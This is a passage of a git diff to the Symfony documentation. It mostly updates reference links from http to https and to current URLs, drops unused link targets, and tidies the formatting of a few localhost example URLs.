@@ -440,7 +441,6 @@ That's why it's recommended to use raw URLs in tests instead of generating them
 from routes. Whenever a route changes, tests will break and you'll know that
 you must set up a redirection.
 
-.. _`Symfony documentation`: https://symfony.com/doc
 .. _`Symfony Demo`: https://github.com/symfony/demo
 .. _`download Symfony`: https://symfony.com/download
 .. _`Composer`: https://getcomposer.org/
diff --git a/bundles/override.rst b/bundles/override.rst
index 09d113bd88a..f55b37a5c0f 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -180,4 +180,4 @@ For example, to override the translations defined in the
 ``Resources/translations/FOSUserBundle.es.yml`` file of the FOSUserBundle,
 create a ``<your-project>/translations/FOSUserBundle.es.yml`` file.
 
-.. _`the Doctrine documentation`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/inheritance-mapping.html#overrides
+.. _`the Doctrine documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/inheritance-mapping.html#overrides
diff --git a/components/cache.rst b/components/cache.rst
index d323113e9bd..50c4f5c068e 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -201,7 +201,7 @@ Advanced Usage
 
     cache/*
 
-.. _`PSR-6`: http://www.php-fig.org/psr/psr-6/
+.. _`PSR-6`: https://www.php-fig.org/psr/psr-6/
 .. _`Cache Contracts`: https://github.com/symfony/contracts/blob/master/Cache/CacheInterface.php
 .. _`Stampede prevention`: https://en.wikipedia.org/wiki/Cache_stampede
 .. _Probabilistic early expiration: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index 69d7afa48be..9cd8c8cdd25 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -296,8 +296,8 @@ Available Options
 .. _`User Datagram Protocol (UDP)`: https://en.wikipedia.org/wiki/User_Datagram_Protocol
 .. _`no-delay`: https://en.wikipedia.org/wiki/TCP_NODELAY
 .. _`keep-alive`: https://en.wikipedia.org/wiki/Keepalive
-.. _`Memcached PHP extension`: http://php.net/manual/en/book.memcached.php
-.. _`predefined constants`: http://php.net/manual/en/memcached.constants.php
+.. _`Memcached PHP extension`: https://www.php.net/manual/en/book.memcached.php
+.. _`predefined constants`: https://www.php.net/manual/en/memcached.constants.php
 .. _`Memcached server`: https://memcached.org/
-.. _`Memcached`: http://php.net/manual/en/class.memcached.php
+.. _`Memcached`: https://www.php.net/manual/en/class.memcached.php
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index cc8c43976c5..83d91be07e6 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -7,7 +7,7 @@
 PDO & Doctrine DBAL Cache Adapter
 =================================
 
-This adapter stores the cache items in an SQL database. It requires a `PDO`_,
+This adapter stores the cache items in an SQL database. It requires a :phpclass:`PDO`,
 `Doctrine DBAL Connection`_, or `Data Source Name (DSN)`_ as its first parameter, and
 optionally a namespace, default cache lifetime, and options array as its second,
 third, and forth parameters::
@@ -48,6 +48,5 @@ your code.
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
-.. _`PDO`: http://php.net/manual/en/class.pdo.php
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/lib/Doctrine/DBAL/Connection.php
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index 9faa9bf1ed1..5bec5715801 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -67,4 +67,4 @@ directory path as constructor arguments::
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
-.. _`OPcache`: http://php.net/manual/en/book.opcache.php
+.. _`OPcache`: https://www.php.net/manual/en/book.opcache.php
diff --git a/components/cache/adapters/proxy_adapter.rst b/components/cache/adapters/proxy_adapter.rst
index 85d41d2c6d1..203521f0e4c 100644
--- a/components/cache/adapters/proxy_adapter.rst
+++ b/components/cache/adapters/proxy_adapter.rst
@@ -36,5 +36,5 @@ and optionally a namespace and default cache lifetime as its second and third pa
         $defaultLifetime = 0
     );
 
-.. _`PSR-6`: http://www.php-fig.org/psr/psr-6/
-.. _`cache item pool interface`: http://www.php-fig.org/psr/psr-6/#cacheitempoolinterface
+.. _`PSR-6`: https://www.php-fig.org/psr/psr-6/
+.. _`cache item pool interface`: https://www.php-fig.org/psr/psr-6/#cacheitempoolinterface
diff --git a/components/cache/psr6_psr16_adapters.rst b/components/cache/psr6_psr16_adapters.rst
index 3c1e683b278..28a41fca0e7 100644
--- a/components/cache/psr6_psr16_adapters.rst
+++ b/components/cache/psr6_psr16_adapters.rst
@@ -91,4 +91,4 @@ this use-case::
 
     The ``Psr16Cache`` class was introduced in Symfony 4.3.
 
-.. _`PSR-16`: http://www.php-fig.org/psr/psr-16/
+.. _`PSR-16`: https://www.php-fig.org/psr/psr-16/
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 3213ed12513..0d842e9c415 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -318,4 +318,4 @@ Learn More
     /components/dependency_injection/*
     /service_container/*
 
-.. _`PSR-11`: http://www.php-fig.org/psr/psr-11/
+.. _`PSR-11`: https://www.php-fig.org/psr/psr-11/
diff --git a/components/dotenv.rst b/components/dotenv.rst
index 9d605764c25..0dc1a51e067 100644
--- a/components/dotenv.rst
+++ b/components/dotenv.rst
@@ -170,4 +170,4 @@ Embed commands via ``$()`` (not supported on Windows):
 
     Note that using ``$()`` might not work depending on your shell.
 
-.. _twelve-factor applications: http://www.12factor.net/
+.. _twelve-factor applications: https://12factor.net/
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 83ff0202e1b..19b3b367d47 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -531,5 +531,5 @@ Learn More
 
 .. _Mediator: https://en.wikipedia.org/wiki/Mediator_pattern
 .. _Observer: https://en.wikipedia.org/wiki/Observer_pattern
-.. _Closures: https://php.net/manual/en/functions.anonymous.php
-.. _PHP callable: https://php.net/manual/en/language.pseudo-types.php#language.types.callback
+.. _Closures: https://www.php.net/manual/en/functions.anonymous.php
+.. _PHP callable: https://www.php.net/manual/en/language.pseudo-types.php#language.types.callback
diff --git a/components/finder.rst b/components/finder.rst
index 1bcf51b02d0..f799208558e 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -407,7 +407,7 @@ The contents of returned files can be read with
 .. _`fluent interface`: https://en.wikipedia.org/wiki/Fluent_interface
 .. _`symbolic links`: https://en.wikipedia.org/wiki/Symbolic_link
 .. _`Version Control Systems`: https://en.wikipedia.org/wiki/Version_control
-.. _`PHP wrapper for URL-style protocols`: https://php.net/manual/en/wrappers.php
-.. _`PHP streams`: https://php.net/streams
+.. _`PHP wrapper for URL-style protocols`: https://www.php.net/manual/en/wrappers.php
+.. _`PHP streams`: https://www.php.net/streams
 .. _`IEC standard`: https://physics.nist.gov/cuu/Units/binary.html
 .. _`natural sort order`: https://en.wikipedia.org/wiki/Natural_sort_order
diff --git a/components/http_client.rst b/components/http_client.rst
index 72fe272f0a0..a914c50f2a7 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -1032,7 +1032,7 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 
     $mockResponse = new MockResponse($body());
 
-.. _`cURL PHP extension`: https://php.net/curl
+.. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/
 .. _`HTTPlug`: https://github.com/php-http/httplug/#readme
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index f5681432854..127d0918121 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -725,5 +725,5 @@ Learn More
 
 .. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
 .. _Apache: https://tn123.org/mod_xsendfile/
-.. _`JSON Hijacking`: http://haacked.com/archive/2009/06/25/json-hijacking.aspx
+.. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index 8ad26fd83c6..c8b29fb00b4 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -29,7 +29,7 @@ All native save handlers are internal to PHP and as such, have no public facing
 They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
 potentially other driver specific directives. Specific details can be found in
 the docblock of the ``setOptions()`` method of each class. For instance, the one
-provided by the Memcached extension can be found on `php.net/memcached.setoption`_
+provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOption>`.
 
 While native save handlers can be activated by directly using
 ``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to
@@ -286,6 +286,5 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
-.. _`php.net/session.customhandler`: https://php.net/session.customhandler
-.. _`php.net/session.configuration`: https://php.net/session.configuration
-.. _`php.net/memcached.setoption`: https://php.net/memcached.setoption
+.. _`php.net/session.customhandler`: https://www.php.net/session.customhandler
+.. _`php.net/session.configuration`: https://www.php.net/session.configuration
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 8aab0d03f0c..dfceb7fe6c4 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -777,11 +777,11 @@ Learn more
 
    /reference/events
 
-.. _reflection: https://php.net/manual/en/book.reflection.php
+.. _reflection: https://www.php.net/manual/en/book.reflection.php
 .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle
-.. _`PHP FPM`: https://php.net/manual/en/install.fpm.php
+.. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
 .. _`EmailSenderListener`: https://github.com/symfony/swiftmailer-bundle/blob/master/EventListener/EmailSenderListener.php
-.. _variadic: http://php.net/manual/en/functions.arguments.php
+.. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/components/intl.rst b/components/intl.rst
index 0e92ccf15f3..2b4dd6bbd93 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -406,8 +406,8 @@ Learn more
     /reference/forms/types/locale
     /reference/forms/types/timezone
 
-.. _intl extension: https://php.net/manual/en/book.intl.php
-.. _install the intl extension: https://php.net/manual/en/intl.setup.php
+.. _intl extension: https://www.php.net/manual/en/book.intl.php
+.. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
 .. _ICU library: http://site.icu-project.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2
diff --git a/components/lock.rst b/components/lock.rst
index 52c089ac8af..2e2dfe7ff66 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -685,8 +685,8 @@ are still running.
 
 .. _`ACID`: https://en.wikipedia.org/wiki/ACID
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)
-.. _`PHP semaphore functions`: https://php.net/manual/en/book.sem.php
-.. _`PDO`: https://php.net/pdo
+.. _`PHP semaphore functions`: https://www.php.net/manual/en/book.sem.php
+.. _`PDO`: https://www.php.net/pdo
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/lib/Doctrine/DBAL/Connection.php
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`ZooKeeper`: https://zookeeper.apache.org/
diff --git a/components/messenger.rst b/components/messenger.rst
index fa4b4a7d81b..33132889234 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -124,6 +124,8 @@ that will do the required processing for your message::
         }
     }
 
+.. _messenger-envelopes:
+
 Adding Metadata to Messages (Envelopes)
 ---------------------------------------
 
diff --git a/components/mime.rst b/components/mime.rst
index dc02abd8d6e..dd20b62f02d 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -302,4 +302,4 @@ You can register your own MIME type guesser by creating a class that implements
 
 .. _`MIME`: https://en.wikipedia.org/wiki/MIME
 .. _`MIME types`: https://en.wikipedia.org/wiki/Media_type
-.. _`fileinfo extension`: https://php.net/fileinfo
+.. _`fileinfo extension`: https://www.php.net/fileinfo
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 785084f49b5..2cfbaa07376 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -223,9 +223,9 @@ message contains the ``"foobar"`` string.
 Making Tests Fail
 ~~~~~~~~~~~~~~~~~
 
-By default, any non-legacy-tagged or any non-`@-silenced`_ deprecation
-notices will make tests fail. Alternatively, you can configure an
-arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
+By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_
+deprecation notices will make tests fail. Alternatively, you can configure
+an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
 ``max[total]=320`` for instance. It will make the tests fails only if a
 higher number of deprecation notices is reached (``0`` is the default
 value).
@@ -971,11 +971,10 @@ not find the SUT:
 .. _`PHPUnit`: https://phpunit.de
 .. _`PHPUnit event listener`: https://phpunit.de/manual/current/en/extending-phpunit.html#extending-phpunit.PHPUnit_Framework_TestListener
 .. _`PHPUnit's assertStringMatchesFormat()`: https://phpunit.de/manual/current/en/appendixes.assertions.html#appendixes.assertions.assertStringMatchesFormat
-.. _`PHP error handler`: https://php.net/manual/en/book.errorfunc.php
+.. _`PHP error handler`: https://www.php.net/manual/en/book.errorfunc.php
 .. _`environment variable`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.php-ini-constants-variables
-.. _`@-silencing operator`: https://php.net/manual/en/language.operators.errorcontrol.php
-.. _`@-silenced`: https://php.net/manual/en/language.operators.errorcontrol.php
+.. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
 .. _`Travis CI`: https://travis-ci.org/
 .. _`test listener`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.test-listeners
 .. _`@covers`: https://phpunit.de/manual/current/en/appendixes.annotations.html#appendixes.annotations.covers
-.. _`PHP namespace resolutions rules`: https://php.net/manual/en/language.namespaces.rules.php
+.. _`PHP namespace resolutions rules`: https://www.php.net/manual/en/language.namespaces.rules.php
diff --git a/components/serializer.rst b/components/serializer.rst
index b3d6b863c96..5f150a212b3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1507,7 +1507,7 @@ Learn more
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
 .. _JSON: http://www.json.org/
 .. _XML: https://www.w3.org/XML/
-.. _YAML: http://yaml.org/
+.. _YAML: https://yaml.org/
 .. _CSV: https://tools.ietf.org/html/rfc4180
 .. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
diff --git a/components/validator.rst b/components/validator.rst
index 9028f8d6874..ee2db919d1f 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -88,4 +88,4 @@ Learn More
     /validation
     /validation/*
 
-.. _`JSR-303 Bean Validation specification`: http://jcp.org/en/jsr/detail?id=303
+.. _`JSR-303 Bean Validation specification`: https://jcp.org/en/jsr/detail?id=303
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 6b403f79263..bf8f9b1f85a 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -128,5 +128,5 @@ created by using the special ``"\0"`` property name to define their internal val
         "\0" => [$inputArray]
     ]);
 
-.. _`OPcache`: https://php.net/opcache
+.. _`OPcache`: https://www.php.net/opcache
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
diff --git a/components/yaml.rst b/components/yaml.rst
index 572c2286ced..763051ad6d1 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -459,6 +459,6 @@ Learn More
 
     yaml/*
 
-.. _`YAML`: http://yaml.org/
-.. _`YAML 1.2 version specification`: http://yaml.org/spec/1.2/spec.html
-.. _`ISO-8601`: http://www.iso.org/iso/iso8601
+.. _`YAML`: https://yaml.org/
+.. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
+.. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index c645f52c481..46d43a797be 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -333,6 +333,6 @@ The following YAML features are not supported by the Symfony Yaml component:
 * Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
   ``{foo: ~, bar: ~}`` instead).
 
-.. _`ISO-8601`: http://www.iso.org/iso/iso8601
-.. _`YAML website`: http://yaml.org/
-.. _`YAML specification`: http://www.yaml.org/spec/1.2/spec.html
+.. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
+.. _`YAML website`: https://yaml.org/
+.. _`YAML specification`: https://www.yaml.org/spec/1.2/spec.html
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index a9cc592627c..a82733eed94 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -80,9 +80,7 @@ That's it! To test it, start the :doc:`Symfony Local Web Server
 
     $ symfony server:start
 
-Then see the JSON response in your browser:
-
-    http://localhost:8000/random/10
+Then see the JSON response in your browser: http://localhost:8000/random/10
 
 The Methods of a "Micro" Kernel
 -------------------------------
@@ -332,6 +330,4 @@ As before you can use the :doc:`Symfony Local Web Server
     cd public/
     $ symfony server:start
 
-Then visit the page in your browser:
-
-    http://localhost:8000/random/10
+Then visit the page in your browser: http://localhost:8000/random/10
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 39898f41ec8..1d50e40c649 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -125,8 +125,6 @@ notices. Silencing swaps this behavior and allows users to opt-in when they are
 ready to cope with them (by adding a custom error handler like the one used by
 the Web Debug Toolbar or by the PHPUnit bridge).
 
-.. _`@-silencing operator`: https://php.net/manual/en/language.operators.errorcontrol.php
-
 When deprecating a whole class the ``trigger_error()`` call should be placed
 between the namespace and the use declarations, like in this example from
 `ServiceRouterLoader`_::
@@ -184,3 +182,5 @@ of the impacted component::
     * Removed the `Deprecated` class, use `Replacement` instead.
 
 This task is mandatory and must be done in the same pull request.
+
+.. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 2ca6a46fa45..f96a8110fae 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -415,7 +415,7 @@ before merging.
 
 .. _ProGit: https://git-scm.com/book
 .. _GitHub: https://github.com/join
-.. _`GitHub's documentation`: https://help.github.com/articles/ignoring-files
+.. _`GitHub's documentation`: https://help.github.com/github/using-git/ignoring-files
 .. _Symfony repository: https://github.com/symfony/symfony
 .. _`documentation repository`: https://github.com/symfony/symfony-docs
 .. _`fabbot`: https://fabbot.io
@@ -424,4 +424,4 @@ before merging.
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
-.. _`draft status`: https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
+.. _`draft status`: https://help.github.com/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index cdad03426c1..aabb71cc2b7 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -281,7 +281,7 @@ License
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
-.. _`identical comparison`: https://php.net/manual/en/language.operators.comparison.php
+.. _`identical comparison`: https://www.php.net/manual/en/language.operators.comparison.php
 .. _`Yoda conditions`: https://en.wikipedia.org/wiki/Yoda_conditions
 .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case
 .. _`UpperCamelCase`: https://en.wikipedia.org/wiki/Camel_case
diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 75c72e0128d..3ba250a50bb 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -55,7 +55,7 @@ what's going on and if the tests are broken because of the new code.
     to see colored test results.
 
 .. _`install Composer`: https://getcomposer.org/download/
-.. _Cmder: http://cmder.net/
+.. _Cmder: https://cmder.net/
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases
 .. _Mintty: https://mintty.github.io/
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index 7ecd91e8dbd..16ec8f53eb1 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -77,7 +77,7 @@ Attribution
 -----------
 
 This Code of Conduct is adapted from the `Contributor Covenant`_, version 1.4,
-available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
+available at https://www.contributor-covenant.org/version/1/4/code-of-conduct/
 
 Related Documents
 -----------------
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index f302faa087f..2e9eae6695d 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -132,6 +132,6 @@ period to upgrade. Companies wanting more stability use the LTS versions: a new
 version is published every two years and there is a year to upgrade.
 
 .. _`semantic versioning`: https://semver.org/
-.. _`Subscribe to Symfony Roadmap notifications`: https://symfony.com/account
-.. _`Symfony Roadmap`: https://symfony.com/roadmap#checker
+.. _`Subscribe to Symfony Roadmap notifications`: https://symfony.com/account/notifications
+.. _`Symfony Roadmap`: https://symfony.com/releases
 .. _`professional Symfony support`: https://sensiolabs.com/
diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index 06cc404d821..14d8b71a28d 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -213,9 +213,9 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 .. _Symfony issue tracker: https://github.com/symfony/symfony/issues
 .. _`Symfony skeleton`: https://github.com/symfony/skeleton
 .. _`Symfony website skeleton`: https://github.com/symfony/website-skeleton
-.. _create a GitHub account: https://help.github.com/articles/signing-up-for-a-new-github-account/
+.. _create a GitHub account: https://help.github.com/github/getting-started-with-github/signing-up-for-a-new-github-account
 .. _bug reports in need of review: https://github.com/symfony/symfony/issues?utf8=%E2%9C%93&q=is%3Aopen+is%3Aissue+label%3A%22Bug%22+label%3A%22Status%3A+Needs+Review%22+
-.. _PRs in need of review: https://github.com/symfony/symfony/issues?utf8=%E2%9C%93&q=is%3Aopen+is%3Apr+label%3A%22Status%3A+Needs+Review%22+
-.. _Symfony Roadmap: https://symfony.com/roadmap
+.. _PRs in need of review: https://github.com/symfony/symfony/pulls?q=is%3Aopen+is%3Apr+label%3A%22Status%3A+Needs+Review%22
+.. _Symfony Roadmap: https://symfony.com/releases
 .. _Carson Bot: https://github.com/carsonbot/carsonbot
 .. _`Needs Review`: https://github.com/symfony/symfony/labels/Status%3A%20Needs%20Review
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index af09e4939e3..b758c051b22 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -207,10 +207,10 @@ versions that have a lower major version will be removed. For example, if
 Symfony 5.0 were released today, 4.0 to 4.4 ``versionadded`` and ``deprecated``
 tags would be removed from the new ``5.0`` branch.
 
-.. _reStructuredText: http://docutils.sourceforge.net/rst.html
+.. _reStructuredText: https://docutils.sourceforge.net/rst.html
 .. _Sphinx: https://www.sphinx-doc.org/
 .. _`Symfony documentation`: https://github.com/symfony/symfony-docs
 .. _`reStructuredText Primer`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html
-.. _`reStructuredText Reference`: http://docutils.sourceforge.net/docs/user/rst/quickref.html
+.. _`reStructuredText Reference`: https://docutils.sourceforge.io/docs/user/rst/quickref.html
 .. _`Sphinx Markup Constructs`: https://www.sphinx-doc.org/en/1.7/markup/index.html
-.. _`supported languages`: http://pygments.org/languages/
+.. _`supported languages`: https://pygments.org/languages/
diff --git a/contributing/documentation/license.rst b/contributing/documentation/license.rst
index d786da396cd..b6b89e7b96b 100644
--- a/contributing/documentation/license.rst
+++ b/contributing/documentation/license.rst
@@ -54,6 +54,6 @@ Other Symfony Licenses
 Check out the :doc:`license of the Symfony code </contributing/code/license>`
 and other `Symfony licenses and trademarks`_.
 
-.. _`CC BY-SA 3.0`: http://creativecommons.org/licenses/by-sa/3.0/
-.. _Legal Code (the full license): http://creativecommons.org/licenses/by-sa/3.0/legalcode
+.. _`CC BY-SA 3.0`: https://creativecommons.org/licenses/by-sa/3.0/
+.. _Legal Code (the full license): https://creativecommons.org/licenses/by-sa/3.0/legalcode
 .. _`Symfony licenses and trademarks`: https://symfony.com/license
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index ff53a627287..27e76b65e21 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -333,14 +333,14 @@ your proposal after you put all that hard work into making the changes. We
 definitely don't want you to waste your time!
 
 .. _`github.com/symfony/symfony-docs`: https://github.com/symfony/symfony-docs
-.. _`reStructuredText`: http://docutils.sourceforge.net/rst.html
+.. _`reStructuredText`: https://docutils.sourceforge.io/rst.html
 .. _`GitHub`: https://github.com/
-.. _`fork the repository`: https://help.github.com/articles/fork-a-repo
+.. _`fork the repository`: https://help.github.com/github/getting-started-with-github/fork-a-repo
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
 .. _`SymfonyConnect`: https://connect.symfony.com/
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
-.. _`roadmap`: https://symfony.com/roadmap
+.. _`roadmap`: https://symfony.com/releases
 .. _`pip`: https://pip.pypa.io/en/stable/
 .. _`pip installation`: https://pip.pypa.io/en/stable/installing/
 .. _`Sphinx`: http://sphinx-doc.org/
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 25fac5739fb..dc43258052e 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -190,11 +190,11 @@ In addition, documentation follows these rules:
   * simply
   * trivial
 
-.. _`the Sphinx documentation`: http://sphinx-doc.org/rest.html#source-code
+.. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks
 .. _`Twig Coding Standards`: https://twig.symfony.com/doc/2.x/coding_standards.html
-.. _`reserved by the IANA`: http://tools.ietf.org/html/rfc2606#section-3
+.. _`reserved by the IANA`: https://tools.ietf.org/html/rfc2606#section-3
 .. _`American English`: https://en.wikipedia.org/wiki/American_English
-.. _`American English Oxford Dictionary`: http://en.oxforddictionaries.com/definition/american_english/
+.. _`American English Oxford Dictionary`: https://www.lexico.com/definition/american_english
 .. _`headings and titles`: https://en.wikipedia.org/wiki/Letter_case#Headings_and_publication_titles
 .. _`Serial (Oxford) Commas`: https://en.wikipedia.org/wiki/Serial_comma
 .. _`nosism`: https://en.wikipedia.org/wiki/Nosism
diff --git a/controller.rst b/controller.rst
index b3de61c11d7..6c8417e14ac 100644
--- a/controller.rst
+++ b/controller.rst
@@ -76,9 +76,7 @@ In order to *view* the result of this controller, you need to map a URL to it vi
 a route. This was done above with the ``@Route("/lucky/number/{max}")``
 :ref:`route annotation <annotation-routes>`.
 
-To see your page, go to this URL in your browser:
-
-    http://localhost:8000/lucky/number/100
+To see your page, go to this URL in your browser: http://localhost:8000/lucky/number/100
 
 For more information on routing, see :doc:`/routing`.
 
@@ -677,4 +675,4 @@ Learn more about Controllers
     controller/*
 
 .. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`unvalidated redirects security vulnerability`: https://www.owasp.org/index.php/Open_redirect
+.. _`unvalidated redirects security vulnerability`: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 296321ea1c1..e1dd1b0ef99 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -263,7 +263,7 @@ sub-requests.
     resolver and will use the default value if no value was already resolved.
 
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
